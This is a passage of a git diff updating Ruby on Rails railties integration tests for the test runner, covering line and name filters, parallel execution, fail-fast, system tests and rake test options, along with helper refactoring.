+        assert_match "PostTest:Fourth", output
+        assert_match "3 runs, 3 assertions", output
+      end
+
+      run_test_command("test/models/post_test.rb:4-9:14-19").tap do |output|
+        assert_match "PostTest:First", output
+        assert_match "PostTest:Second", output
+        assert_match "PostTest:Third", output
+        assert_match "PostTest:Fourth", output
+        assert_match "4 runs, 4 assertions", output
+      end
+    end
+
+    def test_more_than_one_line_filter_test_method_syntax
+      app_file "test/models/post_test.rb", <<-RUBY
+        require "test_helper"
+
+        class PostTest < ActiveSupport::TestCase
+          def test_first_filter
+            puts 'PostTest:FirstFilter'
+            assert true
+          end
+
+          def test_second_filter
+            puts 'PostTest:SecondFilter'
+            assert true
+          end
+
+          def test_line_filter_does_not_run_this
+            assert true
+          end
+        end
+      RUBY
+
+      pos_cases = {
+        "first line of each test" => "test/models/post_test.rb:4:9",
+        "interior of tests" => "test/models/post_test.rb:5:10",
+        "last line of each test" => "test/models/post_test.rb:7:12"
+      }
+
+      pos_cases.each do |name, cmd|
+        output = run_test_command(cmd)
+        assert_match "PostTest:FirstFilter", output, "for #{cmd} (#{name})"
+        assert_match "PostTest:SecondFilter", output, "for #{cmd} (#{name})"
+        assert_match "2 runs, 2 assertions", output, "for #{cmd} (#{name})"
+      end
+
+      # one past the end of each test matches nothing
+      run_test_command("test/models/post_test.rb:8:13").tap do |output|
+        assert_match "0 runs, 0 assertions", output
+      end
+    end
+
+    def test_multiple_tests_on_same_line
+      app_file "test/models/account_test.rb", <<-RUBY
+        require "test_helper"
+
+        class AccountTest < ActiveSupport::TestCase
+          test "first" do puts :first; end; def test_second; puts :second; end
+          test "third" do
+            puts :third
+            assert false
+          end
+        end
+      RUBY
+
+      run_test_command("test/models/account_test.rb:4").tap do |output|
+        assert_match "first", output
+        assert_match "second", output
+        assert_no_match "third", output
+        assert_match "2 runs, 0 assertions, 0 failures", output
       end
     end
 
     def test_more_than_one_line_filter_with_multiple_files
       app_file "test/models/account_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class AccountTest < ActiveSupport::TestCase
           test "first filter" do
@@ -344,7 +612,7 @@ class AccountTest < ActiveSupport::TestCase
       RUBY
 
       app_file "test/models/post_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class PostTest < ActiveSupport::TestCase
           test "first filter" do
@@ -384,7 +652,7 @@ def test_multiple_line_filters
 
     def test_line_filters_trigger_only_one_runnable
       app_file "test/models/post_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class PostTest < ActiveSupport::TestCase
           test 'truth' do
@@ -408,7 +676,7 @@ class SecondPostTest < ActiveSupport::TestCase
 
     def test_line_filter_with_minitest_string_filter
       app_file "test/models/post_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class PostTest < ActiveSupport::TestCase
           test 'by line' do
@@ -430,44 +698,125 @@ class PostTest < ActiveSupport::TestCase
       end
     end
 
-    def test_shows_filtered_backtrace_by_default
-      create_backtrace_test
+    def test_declarative_style_string_filter
+      app_file "test/models/post_test.rb", <<~RUBY
+        require "test_helper"
+
+        class PostTest < ActiveSupport::TestCase
+          test "foo" do
+            puts "hello foo"
+            assert true
+          end
 
-      assert_match "Rails::BacktraceCleaner", run_test_command("test/unit/backtrace_test.rb")
+          test "foo +  + again" do
+            puts "hello again"
+            assert true
+          end
+
+          test "foo no more" do
+            assert false
+          end
+        end
+      RUBY
+
+      run_test_command("test/models/post_test.rb -n 'foo'").tap do |output|
+        assert_match "hello foo", output
+        assert_match "1 runs, 1 assertions, 0 failures", output
+      end
+
+      run_test_command("test/models/post_test.rb -n 'foo +  + again'").tap do |output|
+        assert_match "hello again", output
+        assert_match "1 runs, 1 assertions, 0 failures", output
+      end
     end
 
-    def test_backtrace_option
-      create_backtrace_test
+    def test_declarative_style_regexp_filter
+      app_file "test/models/post_test.rb", <<~RUBY
+        require "test_helper"
+
+        class PostTest < ActiveSupport::TestCase
+          test "greets foo" do
+            puts "hello foo"
+            assert true
+          end
+
+          test "greets foo again" do
+            puts "hello again foo"
+            assert true
+          end
+
+          test "greets +  + bar" do
+            puts "hello bar"
+            assert true
+          end
+
+          test "greets no one" do
+            assert false
+          end
+        end
+      RUBY
 
-      assert_match "Minitest::BacktraceFilter", run_test_command("test/unit/backtrace_test.rb -b")
-      assert_match "Minitest::BacktraceFilter",
-        run_test_command("test/unit/backtrace_test.rb --backtrace")
+      run_test_command("test/models/post_test.rb -n '/greets foo|greets .  .\\ bar/'").tap do |output|
+        assert_match "hello foo", output
+        assert_match "hello again foo", output
+        assert_match "hello bar", output
+        assert_match "3 runs, 3 assertions, 0 failures", output
+      end
     end
 
-    def test_show_full_backtrace_using_backtrace_environment_variable
-      create_backtrace_test
+    def test_declarative_style_regexp_filter_with_minitest_spec
+      app_file "test/models/post_test.rb", <<~RUBY
+        require "test_helper"
+        require "minitest/spec"
+
+        class PostTest < ActiveSupport::TestCase
+          extend Minitest::Spec::DSL
 
-      switch_env "BACKTRACE", "true" do
-        assert_match "Minitest::BacktraceFilter", run_test_command("test/unit/backtrace_test.rb")
+          it "greets foo" do
+            puts "hello foo"
+            assert true
+          end
+
+          it "greets foo again" do
+            puts "hello again foo"
+            assert true
+          end
+
+          it "greets +  + bar" do
+            puts "hello bar"
+            assert true
+          end
+
+          it "greets no one" do
+            assert false
+          end
+        end
+      RUBY
+
+      run_test_command("test/models/post_test.rb -n '/greets foo|greets .  .\\ bar/'").tap do |output|
+        assert_match "hello foo", output
+        assert_match "hello again foo", output
+        assert_match "hello bar", output
+        assert_match "3 runs, 3 assertions, 0 failures", output
       end
     end
 
     def test_run_app_without_rails_loaded
       # Simulate a real Rails app boot.
       app_file "config/boot.rb", <<-RUBY
-        ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+        ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)
 
-        require 'bundler/setup' # Set up gems listed in the Gemfile.
+        require "bundler/setup" # Set up gems listed in the Gemfile.
       RUBY
 
       assert_match "0 runs, 0 assertions", run_test_command("")
     end
 
     def test_output_inline_by_default
-      create_test_file :models, "post", pass: false
+      create_test_file :models, "post", pass: false, print: false
 
       output = run_test_command("test/models/post_test.rb")
-      expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[[^\]]+test/models/post_test.rb:6\]:\nwups!\n\nbin/rails test test/models/post_test.rb:4\n\n\n\n}
+      expect = /Failure.*PostTest#test_truth.*wups!/m
       assert_match expect, output
     end
 
@@ -475,26 +824,247 @@ def test_only_inline_failure_output
       create_test_file :models, "post", pass: false
 
       output = run_test_command("test/models/post_test.rb")
-      assert_match %r{Finished in.*\n\n1 runs, 1 assertions}, output
+      assert_match(/Finished in.*1 runs, 1 assertions/m, output)
     end
 
     def test_fail_fast
       create_test_file :models, "post", pass: false
 
       assert_match(/Interrupt/,
-        capture(:stderr) { run_test_command("test/models/post_test.rb --fail-fast") })
+        capture(:stderr) { run_test_command("test/models/post_test.rb --fail-fast", stderr: true) })
+    end
+
+    def test_fail_fast_in_parallel_with_processes
+      exercise_parallelization_regardless_of_machine_core_count(with: :processes)
+
+      app_file "test/unit/parallel_test.rb", <<-RUBY
+        require "test_helper"
+
+        class ParallelTest < ActiveSupport::TestCase
+          def test_verify_fail_fast
+            assert false
+          end
+
+          4.times do |n|
+            define_method("test_verify_fail_fast_\#{n}") do
+              sleep 0.1
+              assert true
+            end
+          end
+        end
+      RUBY
+
+      @error_output = capture(:stderr) do
+        # Pass seed that guarantees the failing test runs early
+        @test_output = run_test_command("test/unit/parallel_test.rb --fail-fast --seed 31992", stderr: true)
+      end
+
+      matches = @test_output.match(/(\d+) runs, (\d+) assertions, (\d+) failures/)
+
+      assert_empty @error_output
+      assert_equal 1, matches[3].to_i
+      assert_operator matches[1].to_i, :<, 11
+    end
+
+    def test_run_in_parallel_with_processes
+      exercise_parallelization_regardless_of_machine_core_count(with: :processes)
+
+      file_name = create_parallel_processes_test_file
+
+      app_file "db/schema.rb", <<-RUBY
+        ActiveRecord::Schema.define(version: 1) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      output = run_test_command(file_name, allow_failure: false)
+
+      assert_match(/Finished in.*2 runs, 2 assertions, 0 failures, 0 errors, 0 skips/m, output)
+      assert_match %r{Running \d+ tests in parallel using \d+ processes}, output
+      assert_no_match "create_table(:users)", output
+    end
+
+    def test_parallel_testing_when_schema_is_not_up_to_date
+      require "#{app_path}/config/environment"
+      Dir.chdir(app_path) do
+        use_mysql2
+
+        exercise_parallelization_regardless_of_machine_core_count(with: :processes)
+
+        rails "generate", "scaffold", "User", "name:string"
+        rails "db:create"
+        rails "db:migrate"
+
+        output = rails "test"
+
+        assert_match(/Finished in.*7 runs, 11 assertions, 0 failures, 0 errors, 0 skips/m, output)
+        assert_match %r{Running \d+ tests in parallel using \d+ processes}, output
+      end
+    end
+
+    def test_parallelization_is_disabled_when_number_of_tests_is_below_threshold
+      exercise_parallelization_regardless_of_machine_core_count(with: :processes, threshold: 100)
+
+      file_name = create_parallel_blank_test_file
+      output = run_test_command(file_name, allow_failure: false)
+
+      assert_match %r{Running \d+ tests in a single process}, output
+      assert_no_match %r{Running \d+ tests in parallel using \d+ processes}, output
+    end
+
+    def test_parallel_is_enabled_when_PARALLEL_WORKERS_is_set
+      @old = ENV["PARALLEL_WORKERS"]
+      ENV["PARALLEL_WORKERS"] = "5"
+
+      exercise_parallelization_regardless_of_machine_core_count(with: :processes, threshold: 100)
+
+      file_name = create_parallel_blank_test_file
+      output = run_test_command(file_name, allow_failure: false)
+
+      assert_match %r{Running \d+ tests in parallel using 5 processes}, output
+    ensure
+      ENV["PARALLEL_WORKERS"] = @old
+    end
+
+    def test_parallel_is_disabled_when_PARALLEL_WORKERS_is_set_to_1
+      @old = ENV["PARALLEL_WORKERS"]
+      ENV["PARALLEL_WORKERS"] = "1"
+
+      exercise_parallelization_regardless_of_machine_core_count(with: :processes, threshold: 100)
+
+      file_name = create_parallel_blank_test_file
+      output = run_test_command(file_name, allow_failure: false)
+
+      assert_no_match %r{Running \d+ tests in a single process}, output
+      assert_no_match %r{Running \d+ tests in parallel using \d+ processes}, output
+    ensure
+      ENV["PARALLEL_WORKERS"] = @old
+    end
+
+    def test_run_in_parallel_with_process_worker_crash
+      exercise_parallelization_regardless_of_machine_core_count(with: :processes)
+
+      file_name = app_file("test/models/parallel_test.rb", <<-RUBY)
+        require "test_helper"
+
+        class ParallelTest < ActiveSupport::TestCase
+          def test_crash
+            Kernel.exit 1
+          end
+        end
+      RUBY
+
+      output = run_test_command(file_name)
+
+      assert_match %r{RuntimeError: result not reported}, output
+    end
+
+    def test_run_in_parallel_with_threads
+      exercise_parallelization_regardless_of_machine_core_count(with: :threads, transactional_fixtures: false)
+
+      file_name = create_parallel_threads_test_file
+
+      app_file "db/schema.rb", <<-RUBY
+        ActiveRecord::Schema.define(version: 1) do
+          create_table :users do |t|
+            t.string :name
+          end
+        end
+      RUBY
+
+      output = run_test_command(file_name, allow_failure: false)
+
+      assert_match(/Finished in.*2 runs, 2 assertions, 0 failures, 0 errors, 0 skips/m, output)
+      assert_no_match "create_table(:users)", output
+    end
+
+    def test_run_in_parallel_with_unmarshalable_exception
+      exercise_parallelization_regardless_of_machine_core_count(with: :processes)
+
+      file = app_file "test/fail_test.rb", <<-RUBY
+        require "test_helper"
+        class FailTest < ActiveSupport::TestCase
+          class BadError < StandardError
+            def initialize
+              super
+              @proc = ->{ }
+            end
+          end
+
+          test "fail" do
+            raise BadError
+            assert true
+          end
+        end
+      RUBY
+
+      output = run_test_command(file)
+
+      assert_match(/RuntimeError: (Wrapped undumpable exception|result not reported|Neutered Exception)/, output)
+      assert_match "1 runs, 0 assertions, 0 failures, 1 errors", output
+    end
+
+    def test_run_in_parallel_with_unknown_object
+      exercise_parallelization_regardless_of_machine_core_count(with: :processes)
+
+      create_scaffold
+
+      app_file "config/environments/test.rb", <<-RUBY
+        Rails.application.configure do
+          config.action_controller.allow_forgery_protection = true
+          config.action_dispatch.show_exceptions = :none
+        end
+      RUBY
+
+      output = run_test_command("-n test_should_create_user")
+
+      assert_match "ActionController::InvalidCrossOriginRequest", output
     end
 
     def test_raise_error_when_specified_file_does_not_exist
-      error = capture(:stderr) { run_test_command("test/not_exists.rb") }
+      error = capture(:stderr) { run_test_command("test/not_exists.rb", stderr: true) }
       assert_match(%r{cannot load such file.+test/not_exists\.rb}, error)
     end
 
+    def test_did_you_mean_when_specified_file_name_is_close
+      create_test_file :models, "account"
+      output = run_test_command("test/models/accnt.rb")
+
+      expected = <<~MSG
+        bin/rails: Could not load test file: test/models/accnt.rb. (Rails::TestUnit::InvalidTestError)
+
+        Did you mean?  test/models/account_test.rb
+      MSG
+
+      assert_equal(expected, output)
+      assert_not_predicate $?, :success?
+    end
+
+    def test_unrelated_load_error
+      app_file "test/models/account_test.rb", <<-RUBY
+        require "test_helper"
+
+        require "does-not-exist"
+
+        class AccountsTest < ActiveSupport::TestCase
+          def test_truth
+            assert true
+          end
+        end
+      RUBY
+
+      output = run_test_command("test/models/account_test.rb")
+      assert_match("cannot load such file -- does-not-exist", output)
+      assert_not_predicate $?, :success?
+    end
+
     def test_pass_TEST_env_on_rake_test
       create_test_file :models, "account"
       create_test_file :models, "post", pass: false
       # This specifically verifies TEST for backwards compatibility with rake test
-      # as bin/rails test already supports running tests from a single file more cleanly.
+      # as `bin/rails test` already supports running tests from a single file more cleanly.
       output = Dir.chdir(app_path) { `bin/rake test TEST=test/models/post_test.rb` }
 
       assert_match "PostTest", output, "passing TEST= should run selected test"
@@ -512,21 +1082,58 @@ def test_pass_rake_options
 
     def test_rails_db_create_all_restores_db_connection
       create_test_file :models, "account"
-      output = Dir.chdir(app_path) { `bin/rails db:create:all db:migrate && echo ".tables" | rails dbconsole` }
+      rails "db:create:all", "db:migrate"
+      output = Dir.chdir(app_path) { `echo ".tables" | rails dbconsole` }
       assert_match "ar_internal_metadata", output, "tables should be dumped"
     end
 
     def test_rails_db_create_all_restores_db_connection_after_drop
       create_test_file :models, "account"
-      Dir.chdir(app_path) { `bin/rails db:create:all` } # create all to avoid warnings
-      output = Dir.chdir(app_path) { `bin/rails db:drop:all db:create:all db:migrate && echo ".tables" | rails dbconsole` }
+      rails "db:create:all" # create all to avoid warnings
+      rails "db:drop:all", "db:create:all", "db:migrate"
+      output = Dir.chdir(app_path) { `echo ".tables" | rails dbconsole` }
       assert_match "ar_internal_metadata", output, "tables should be dumped"
     end
 
     def test_rake_passes_TESTOPTS_to_minitest
       create_test_file :models, "account"
       output = Dir.chdir(app_path) { `bin/rake test TESTOPTS=-v` }
-      assert_match "AccountTest#test_truth", output, "passing TEST= should run selected test"
+      assert_match "AccountTest#test_truth", output, "passing TESTOPTS= should be sent to the test runner"
+    end
+
+    def test_running_with_ruby_gets_test_env_by_default
+      # Subshells inherit `ENV`, so we need to ensure `RAILS_ENV` is set to
+      # nil before we run the tests in the test app.
+      re, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], nil
+
+      file = create_test_for_env("test")
+      results = Dir.chdir(app_path) {
+        `ruby -Ilib:test #{file}`.each_line.filter_map { |line| JSON.parse(line) if line.start_with?("{") }
+      }
+      assert_equal 1, results.length
+      failures = results.first["failures"]
+      flunk(failures.first) unless failures.empty?
+
+    ensure
+      ENV["RAILS_ENV"] = re
+    end
+
+    def test_running_with_ruby_can_set_env_via_cmdline
+      # Subshells inherit `ENV`, so we need to ensure `RAILS_ENV` is set to
+      # nil before we run the tests in the test app.
+      re, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], nil
+
+      file = create_test_for_env("development")
+      results = Dir.chdir(app_path) {
+        `RAILS_ENV=development ruby -Ilib:test #{file}`.each_line.
+          filter_map { |line| JSON.parse(line) if line.start_with?("{") }
+      }
+      assert_equal 1, results.length
+      failures = results.first["failures"]
+      flunk(failures.first) unless failures.empty?
+
+    ensure
+      ENV["RAILS_ENV"] = re
     end
 
     def test_rake_passes_multiple_TESTOPTS_to_minitest
@@ -551,26 +1158,209 @@ def test_rake_db_and_test_tasks_parses_args_correctly
       assert_match "ar_internal_metadata", output
     end
 
+    def test_rake_runs_tests_before_other_tasks_when_specified
+      app_file "Rakefile", <<~RUBY, "a"
+        task :echo do
+          puts "echo"
+        end
+      RUBY
+      output = Dir.chdir(app_path) { `bin/rake test echo` }
+      assert_equal "echo", output.split("\n").last
+    end
+
+    def test_rake_exits_on_failure
+      create_test_file :models, "post", pass: false
+      app_file "Rakefile", <<~RUBY, "a"
+        task :echo do
+          puts "echo"
+        end
+      RUBY
+      output = Dir.chdir(app_path) { `bin/rake test echo` }
+      assert_no_match "echo", output
+      assert_not_predicate $?, :success?
+    end
+
     def test_warnings_option
       app_file "test/models/warnings_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
         def test_warnings
           a = 1
         end
       RUBY
       assert_match(/warning: assigned but unused variable/,
-        capture(:stderr) { run_test_command("test/models/warnings_test.rb -w") })
+        capture(:stderr) { run_test_command("test/models/warnings_test.rb -w", stderr: true) })
+    end
+
+    def test_reset_sessions_before_rollback_on_system_tests
+      generate_application_system_test_case_file
+
+      app_file "test/system/reset_session_before_rollback_test.rb", <<-RUBY
+        require "application_system_test_case"
+        require "selenium/webdriver"
+
+        class ResetSessionBeforeRollbackTest < ApplicationSystemTestCase
+          def teardown_fixtures
+            puts "rollback"
+            super
+          end
+
+          Capybara.singleton_class.prepend(Module.new do
+            def reset_sessions!
+              puts "reset sessions"
+              super
+            end
+          end)
+
+          test "dummy" do
+          end
+        end
+      RUBY
+
+      run_test_command("test/system/reset_session_before_rollback_test.rb").tap do |output|
+        assert_match "reset sessions\nrollback", output
+        assert_match "1 runs, 0 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
+    def test_reset_sessions_on_failed_system_test_screenshot
+      generate_application_system_test_case_file
+
+      app_file "test/system/reset_sessions_on_failed_system_test_screenshot_test.rb", <<~RUBY
+        require "application_system_test_case"
+        require "selenium/webdriver"
+
+        class ResetSessionsOnFailedSystemTestScreenshotTest < ApplicationSystemTestCase
+          ActionDispatch::SystemTestCase.class_eval do
+            def take_failed_screenshot
+              raise Capybara::CapybaraError
+            end
+          end
+
+          Capybara.instance_eval do
+            def reset_sessions!
+              puts "Capybara.reset_sessions! called"
+            end
+          end
+
+          test "dummy" do
+          end
+        end
+      RUBY
+      output = run_test_command("test/system/reset_sessions_on_failed_system_test_screenshot_test.rb")
+      assert_match "Capybara.reset_sessions! called", output
+    end
+
+    def test_failed_system_test_screenshot_should_be_taken_before_other_teardown
+      generate_application_system_test_case_file
+
+      app_file "test/system/failed_system_test_screenshot_should_be_taken_before_other_teardown_test.rb", <<~RUBY
+        require "application_system_test_case"
+        require "selenium/webdriver"
+
+        class FailedSystemTestScreenshotShouldBeTakenBeforeOtherTeardownTest < ApplicationSystemTestCase
+          ActionDispatch::SystemTestCase.class_eval do
+            def take_failed_screenshot
+              puts "take_failed_screenshot called"
+              super
+            end
+          end
+
+          def teardown
+            puts "test teardown called"
+            super
+          end
+
+          test "dummy" do
+          end
+        end
+      RUBY
+      output = run_test_command("test/system/failed_system_test_screenshot_should_be_taken_before_other_teardown_test.rb")
+      assert_match(/take_failed_screenshot called\n.*test teardown called/, output)
+    end
+
+    def test_system_tests_are_not_run_with_the_default_test_command
+      generate_application_system_test_case_file
+
+      app_file "test/system/dummy_test.rb", <<-RUBY
+        require "application_system_test_case"
+
+        class DummyTest < ApplicationSystemTestCase
+          test "something" do
+            assert true
+          end
+        end
+      RUBY
+
+      run_test_command("").tap do |output|
+        assert_match "0 runs, 0 assertions, 0 failures, 0 errors, 0 skips", output
+      end
+    end
+
+    def test_system_tests_are_not_run_through_rake_test
+      generate_application_system_test_case_file
+
+      app_file "test/system/dummy_test.rb", <<-RUBY
+        require "application_system_test_case"
+
+        class DummyTest < ApplicationSystemTestCase
+          test "something" do
+            assert true
+          end
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rake test` }
+      assert_match "0 runs, 0 assertions, 0 failures, 0 errors, 0 skips", output
+    end
+
+    def test_system_tests_are_run_through_rake_test_when_given_in_TEST
+      generate_application_system_test_case_file
+
+      app_file "test/system/dummy_test.rb", <<-RUBY
+        require "application_system_test_case"
+        require "selenium/webdriver"
+
+        class DummyTest < ApplicationSystemTestCase
+          test "something" do
+            assert true
+          end
+        end
+      RUBY
+
+      output = Dir.chdir(app_path) { `bin/rake test TEST=test/system/dummy_test.rb` }
+      assert_match "1 runs, 1 assertions, 0 failures, 0 errors, 0 skips", output
+    end
+
+    def test_run_does_not_load_file_from_the_fixture_folder
+      create_test_file "fixtures", "smoke_foo"
+
+      assert_match "0 runs, 0 assertions, 0 failures, 0 errors, 0 skips", run_test_command("")
+    end
+
+    def test_can_exclude_files_from_being_tested_via_default_rails_command_by_setting_DEFAULT_TEST_EXCLUDE_env_var
+      create_test_file "smoke", "smoke_foo"
+
+      switch_env "DEFAULT_TEST_EXCLUDE", "test/smoke/**/*_test.rb" do
+        assert_match "0 runs, 0 assertions, 0 failures, 0 errors, 0 skips", run_test_command("")
+      end
+    end
+
+    def test_can_exclude_files_from_being_tested_via_rake_task_by_setting_DEFAULT_TEST_EXCLUDE_env_var
+      create_test_file "smoke", "smoke_foo"
+
+      output = Dir.chdir(app_path) { `DEFAULT_TEST_EXCLUDE="test/smoke/**/*_test.rb" bin/rake test` }
+      assert_match "0 runs, 0 assertions, 0 failures, 0 errors, 0 skips", output
     end
 
     private
-      def run_test_command(arguments = "test/unit/test_test.rb")
-        Dir.chdir(app_path) { `bin/rails t #{arguments}` }
+      def run_test_command(arguments = "test/unit/test_test.rb", **opts)
+        rails "t", *Shellwords.split(arguments), allow_failure: true, **opts
       end
 
       def create_model_with_fixture
-        script "generate model user name:string"
+        rails "generate", "model", "user", "name:string"
 
-        app_file "test/fixtures/users.yml", <<-YAML.strip_heredoc
+        app_file "test/fixtures/users.yml", <<~YAML
           vampire:
             id: 1
             name: Koyomi Araragi
@@ -587,7 +1377,7 @@ def create_model_with_fixture
 
       def create_fixture_test(path = :unit, name = "test")
         app_file "test/#{path}/#{name}_test.rb", <<-RUBY
-          require 'test_helper'
+          require "test_helper"
 
           class #{name.camelize}Test < ActiveSupport::TestCase
             def test_fixture
@@ -597,38 +1387,157 @@ def test_fixture
         RUBY
       end
 
-      def create_backtrace_test
-        app_file "test/unit/backtrace_test.rb", <<-RUBY
-          require 'test_helper'
+      def create_schema
+        app_file "db/schema.rb", ""
+      end
 
-          class BacktraceTest < ActiveSupport::TestCase
-            def test_backtrace
-              puts Minitest.backtrace_filter
+      def create_test_for_env(env)
+        app_file "test/models/environment_test.rb", <<-RUBY
+          require "test_helper"
+          class JSONReporter < Minitest::AbstractReporter
+            def record(result)
+              puts JSON.dump(klass: result.class.name,
+                             name: result.name,
+                             failures: result.failures,
+                             assertions: result.assertions,
+                             time: result.time)
             end
           end
-        RUBY
-      end
 
-      def create_schema
-        app_file "db/schema.rb", ""
+          def Minitest.plugin_json_reporter_init(opts)
+            Minitest.reporter.reporters.clear
+            Minitest.reporter.reporters << JSONReporter.new
+          end
+
+          Minitest.extensions << "rails"
+          Minitest.extensions << "json_reporter"
+
+          # Minitest uses RubyGems to find plugins, and since RubyGems
+          # doesn't know about the Rails installation we're pointing at,
+          # Minitest won't require the Rails minitest plugin when we run
+          # these integration tests.  So we have to manually require the
+          # Minitest plugin here.
+          require "minitest/rails_plugin"
+
+          class EnvironmentTest < ActiveSupport::TestCase
+            def test_environment
+              test_db = ActiveRecord::Base.configurations.configs_for(env_name: #{env.dump}, name: "primary").database
+              db_file = ActiveRecord::Base.connection_db_config.database
+              assert_match(test_db, db_file)
+              assert_equal #{env.dump}, ENV["RAILS_ENV"]
+            end
+          end
+        RUBY
       end
 
-      def create_test_file(path = :unit, name = "test", pass: true)
+      def create_test_file(path = :unit, name = "test", pass: true, print: true)
         app_file "test/#{path}/#{name}_test.rb", <<-RUBY
-          require 'test_helper'
+          require "test_helper"
 
           class #{name.camelize}Test < ActiveSupport::TestCase
             def test_truth
-              puts "#{name.camelize}Test"
+              puts "#{name.camelize}Test" if #{print}
               assert #{pass}, 'wups!'
             end
           end
         RUBY
       end
 
+      def generate_application_system_test_case_file
+        app_file "test/application_system_test_case.rb", <<-RUBY
+          require "test_helper"
+
+          class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
+            driven_by :selenium, using: :headless_chrome, screen_size: [ 1400, 1400 ]
+          end
+        RUBY
+      end
+
+      def create_parallel_blank_test_file
+        app_file "test/unit/parallel_test.rb", <<-RUBY
+          require "test_helper"
+          class ParallelTest < ActiveSupport::TestCase
+            def test_verify_test_order
+            end
+          end
+        RUBY
+      end
+
+      def create_parallel_processes_test_file
+        app_file "test/models/parallel_test.rb", <<-RUBY
+          require "test_helper"
+
+          class ParallelTest < ActiveSupport::TestCase
+            RD1, WR1 = IO.pipe
+            RD2, WR2 = IO.pipe
+
+            test "one" do
+              WR1.close
+              assert_equal "x", RD1.read(1) # blocks until two runs
+
+              RD2.close
+              WR2.write "y" # Allow two to run
+              WR2.close
+            end
+
+            test "two" do
+              RD1.close
+              WR1.write "x" # Allow one to run
+              WR1.close
+
+              WR2.close
+              assert_equal "y", RD2.read(1) # blocks until one runs
+            end
+          end
+        RUBY
+      end
+
+      def create_parallel_threads_test_file
+        app_file "test/models/parallel_test.rb", <<-RUBY
+          require "test_helper"
+
+          class ParallelTest < ActiveSupport::TestCase
+            Q1 = Queue.new
+            Q2 = Queue.new
+            test "one" do
+              assert_equal "x", Q1.pop # blocks until two runs
+
+              Q2 << "y"
+            end
+
+            test "two" do
+              Q1 << "x"
+
+              assert_equal "y", Q2.pop # blocks until one runs
+            end
+          end
+        RUBY
+      end
+
+      def exercise_parallelization_regardless_of_machine_core_count(with:, threshold: 0, transactional_fixtures: true)
+        file_content = ERB.new(<<-ERB, trim_mode: "-").result_with_hash(with: with.to_s)
+          ENV["RAILS_ENV"] ||= "test"
+          require_relative "../config/environment"
+          require "rails/test_help"
+
+          class ActiveSupport::TestCase
+            # Run tests in parallel with specified workers
+            parallelize(workers: 2, with: :<%= with %>, threshold: #{threshold})
+            self.use_transactional_tests = #{transactional_fixtures}
+
+            # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
+            fixtures :all
+          end
+        ERB
+
+        app_path("test/test_helper.rb") do |file_name|
+          File.write(file_name, file_content)
+        end
+      end
+
       def create_env_test
         app_file "test/unit/env_test.rb", <<-RUBY
-          require 'test_helper'
+          require "test_helper"
 
           class EnvTest < ActiveSupport::TestCase
             def test_env
@@ -639,17 +1548,17 @@ def test_env
       end
 
       def create_scaffold
-        script "generate scaffold user name:string"
-        Dir.chdir(app_path) { File.exist?("app/models/user.rb") }
+        rails "generate", "scaffold", "user", "name:string"
+        assert File.exist?("#{app_path}/app/models/user.rb")
         run_migration
       end
 
       def create_controller
-        script "generate controller admin/dashboard index"
+        rails "generate", "controller", "admin/dashboard", "index"
       end
 
       def run_migration
-        Dir.chdir(app_path) { `bin/rails db:migrate` }
+        rails "db:migrate"
       end
   end
 end
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
index 32d2a6857cfc4..a29580196dca9 100644
--- a/railties/test/application/test_test.rb
+++ b/railties/test/application/test_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -5,16 +7,21 @@ class TestTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
+      @old = ENV["PARALLEL_WORKERS"]
+      ENV["PARALLEL_WORKERS"] = "0"
+
       build_app
     end
 
     def teardown
+      ENV["PARALLEL_WORKERS"] = @old
+
       teardown_app
     end
 
     test "simple successful test" do
       app_file "test/unit/foo_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class FooTest < ActiveSupport::TestCase
           def test_truth
@@ -28,7 +35,7 @@ def test_truth
 
     test "after_run" do
       app_file "test/unit/foo_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         Minitest.after_run { puts "WORLD" }
         Minitest.after_run { puts "HELLO" }
@@ -46,7 +53,7 @@ def test_truth
 
     test "simple failed test" do
       app_file "test/unit/foo_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class FooTest < ActiveSupport::TestCase
           def test_truth
@@ -55,10 +62,13 @@ def test_truth
         end
       RUBY
 
-      assert_unsuccessful_run "unit/foo_test.rb", "Failed assertion"
+      assert_unsuccessful_run "unit/foo_test.rb", "Failure:\nFooTest#test_truth"
     end
 
     test "integration test" do
+      routes <<~'RUBY'
+        get "/posts" => "posts#index"
+      RUBY
       controller "posts", <<-RUBY
         class PostsController < ActionController::Base
         end
@@ -69,7 +79,7 @@ class PostsController < ActionController::Base
       HTML
 
       app_file "test/integration/posts_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class PostsTest < ActionDispatch::IntegrationTest
           def test_index
@@ -85,7 +95,7 @@ def test_index
 
     test "enable full backtraces on test failures" do
       app_file "test/unit/failing_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class FailingTest < ActiveSupport::TestCase
           def test_failure
@@ -94,17 +104,17 @@ def test_failure
         end
       RUBY
 
-      output = run_test_file("unit/failing_test.rb", env: { "BACKTRACE" => "1" })
+      output = run_test_file("unit/failing_test.rb")
       assert_match %r{test/unit/failing_test\.rb}, output
       assert_match %r{test/unit/failing_test\.rb:4}, output
     end
 
     test "ruby schema migrations" do
-      output  = script("generate model user name:string")
+      output  = rails("generate", "model", "user", "name:string")
